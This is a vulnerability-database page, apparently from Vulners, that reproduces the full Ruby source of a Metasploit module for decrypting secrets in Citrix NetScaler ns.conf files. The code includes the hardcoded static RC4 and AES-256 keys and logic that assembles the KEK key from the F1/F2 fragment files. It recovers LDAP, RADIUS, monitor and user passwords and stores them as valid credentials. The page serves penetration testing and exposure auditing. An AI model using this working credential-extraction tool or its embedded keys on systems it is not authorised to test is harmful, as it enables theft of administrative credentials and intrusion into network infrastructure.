Lucene search
K

Decrypt Citrix NetScaler Config Secrets

🗓️ 16 Jul 2022 17:42:26Reported by npm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 1885 Views

This module decrypts secrets from Citrix NetScaler config files using reversible encryption methods such as RC4, AES-256-ECB, and AES-256-CBC. It also supports decryption of secrets protected by the KEK method using key fragment files F1.key and F2.key

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Decrypt Citrix NetScaler Config Secrets',
        'Description' => %q{
          This module takes a Citrix NetScaler ns.conf configuration file as
          input and extracts secrets that have been stored with reversible
          encryption. The module supports legacy NetScaler encryption (RC4)
          as well as the newer AES-256-ECB and AES-256-CBC encryption types.
          It is also possible to decrypt secrets protected by the Key
          Encryption Key (KEK) method, provided the key fragment files F1.key
          and F2.key are provided.
        },
        'Author' => 'npm[at]cesium137.io',
        'Platform' => [ 'bsd' ],
        'DisclosureDate' => '2022-05-19',
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://dozer.nz/posts/citrix-decrypt/'],
          ['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/']
        ],
        'Actions' => [
          [
            'Dump',
            {
              'Description' => 'Dump secrets from NetScaler configuration'
            }
          ]
        ],
        'DefaultAction' => 'Dump',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options([
      OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]),
      OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]),
      OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]),
      OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
    ])
  end

  def loot_host
    datastore['NS_IP'] || '127.0.0.1'
  end

  def ns_conf
    datastore['NS_CONF']
  end

  def ns_kek_f1
    datastore['NS_KEK_F1']
  end

  def ns_kek_f2
    datastore['NS_KEK_F2']
  end

  # ns.conf elements that contain potential secrets, update as needed
  # k = parameter that has the secret (-key, -password, [...])
  # v = start of config line that potentially has a secret
  def ns_secret
    {
      'key' => ['add ssl certKey'],
      'keyValue' => ['set ns encryptionParams'],
      'radKey' => ['add authentication radiusAction'],
      'ldapBindDnPassword' => ['add authentication ldapAction'],
      'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'],
      'passPhrase' => ['add authentication dfaAction']
    }
  end

  # Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf
  def ns90_rc4key
    '2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*')
  end

  def ns90_aeskey
    '351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')
  end

  def run
    if ns_kek_f1 && ns_kek_f2
      print_status('Building NetScaler KEK from key fragments ...')
      build_ns_kek
    end
    parse_ns_config
  end

  def build_ns_kek
    unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256
      print_error('KEK files must be 256 bytes in size')
      return false
    end
    f1_hex = File.binread(ns_kek_f1)
    f2_hex = File.binread(ns_kek_f2)
    unless f1_hex.match?(/^[0-9a-f]+$/i)
      print_error('Provided F1.key is not valid hexadecimal data')
      raise Msf::OptionValidateError, ['NS_KEK_F1']
    end
    unless f2_hex.match?(/^[0-9a-f]+$/i)
      print_error('Provided F2.key is not valid hexadecimal data')
      raise Msf::OptionValidateError, ['NS_KEK_F2']
    end
    f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')
    f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')
    f1_key_hex = f1_key.unpack('H*').first
    f2_key_hex = f2_key.unpack('H*').first
    print_good('NS KEK F1')
    print_good("\t HEX: #{f1_key_hex}")
    print_good('NS KEK F2')
    print_good("\t HEX: #{f2_key_hex}")
    @ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')
    @ns_kek_key_hex = @ns_kek_key.unpack('H*').first
    print_good('Assembled NS KEK AES key')
    print_good("\t HEX: #{@ns_kek_key_hex}\n")
    true
  end

  def parse_ns_config
    ns_config_data = File.binread(ns_conf)
    ns_secret.each do |secret|
      element = secret[0]
      secret[1].each do |keyword|
        lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match }
        lines.each do |line|
          is_kek = false
          config_entry = line.to_s
          ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match }
          unless ciphertext.first
            ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match }
            next unless ciphertext.first
          end
          enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s
          if config_entry.match?(/-kek/)
            is_kek = true
          end
          print_status("Config line:\n#{config_entry}")
          if is_kek && !@ns_kek_key
            print_warning('Entry was encrypted with KEK but no KEK fragment files provided, decryption will not be possible')
            next
          end
          username = parse_username_from_config(config_entry)
          ciphertext.each do |encrypted|
            encrypted_entry = encrypted.to_s
            if encrypted_entry =~ /^[0-9a-f]+$/i
              ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*')
            else
              ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"')
              # TODO: Implement -passcrypt functionality
              # ciphertext_bytes = Base64.strict_decode64(ciphertext_b64)
              print_warning('Not decrypting passcrypt entry:')
              print_warning("Ciphertext: #{ciphertext_b64}")
              next
            end
            case enc_type
            when 'ENCMTHD_2' # aes-256-ecb
              if is_kek
                aeskey = @ns_kek_key
              else
                aeskey = ns90_aeskey
              end
              plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
            when 'ENCMTHD_3' # aes-256-cbc
              if is_kek
                aeskey = @ns_kek_key
              else
                aeskey = ns90_aeskey
              end
              plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
            else # rc4 (legacy)
              plaintext = ns_rc4_decrypt(ns90_rc4key, ciphertext_bytes)
            end
            next unless plaintext

            if username
              print_good("User: #{username}")
              print_good("Pass: #{plaintext}")
              store_valid_credential(user: username, private: plaintext)
            else
              print_good("Plaintext: #{plaintext}")
              store_valid_credential(user: element, private: plaintext)
            end
          end
        end
      end
    end
  end

  def parse_username_from_config(line)
    # Ugly but effective way to extract the principal name from a config line for loot storage
    # The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern
    [' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param|
      next unless line.match?(/#{user_param} (.+)/)

      user_name = line.match(/#{user_param} (.+)/).to_s.split(' ')[1].to_s
      if user_name.match?('"')
        user_name = line.match(/#{user_param} (.+")/).to_s.split('"')[1].to_s
      end
      return user_name
    end
    false
  end

  def ns_rc4_decrypt(rc4key, ciphertext_bytes)
    decipher = OpenSSL::Cipher.new('rc4')
    decipher.decrypt
    decipher.key = rc4key
    decipher.update(ciphertext_bytes)
  rescue OpenSSL::Cipher::CipherError
    print_error("#{__method__}: bad decrypt")
    return false
  end

  def ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
    decipher = OpenSSL::Cipher.new('aes-256-ecb')
    decipher.decrypt
    decipher.padding = 0
    decipher.key = aeskey
    (decipher.update(ciphertext_bytes) + decipher.final).delete("\000")
  rescue OpenSSL::Cipher::CipherError
    print_error("#{__method__}: bad decrypt")
    return false
  end

  def ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
    decipher = OpenSSL::Cipher.new('aes-256-cbc')
    iv = ciphertext_bytes[0, 16]
    ciphertext = ciphertext_bytes[16..]
    decipher.decrypt
    decipher.iv = iv
    decipher.padding = 1
    decipher.key = aeskey
    (decipher.update(ciphertext) + decipher.final).delete("\000")
  rescue OpenSSL::Cipher::CipherError
    print_error("#{__method__}: bad decrypt")
    return false
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation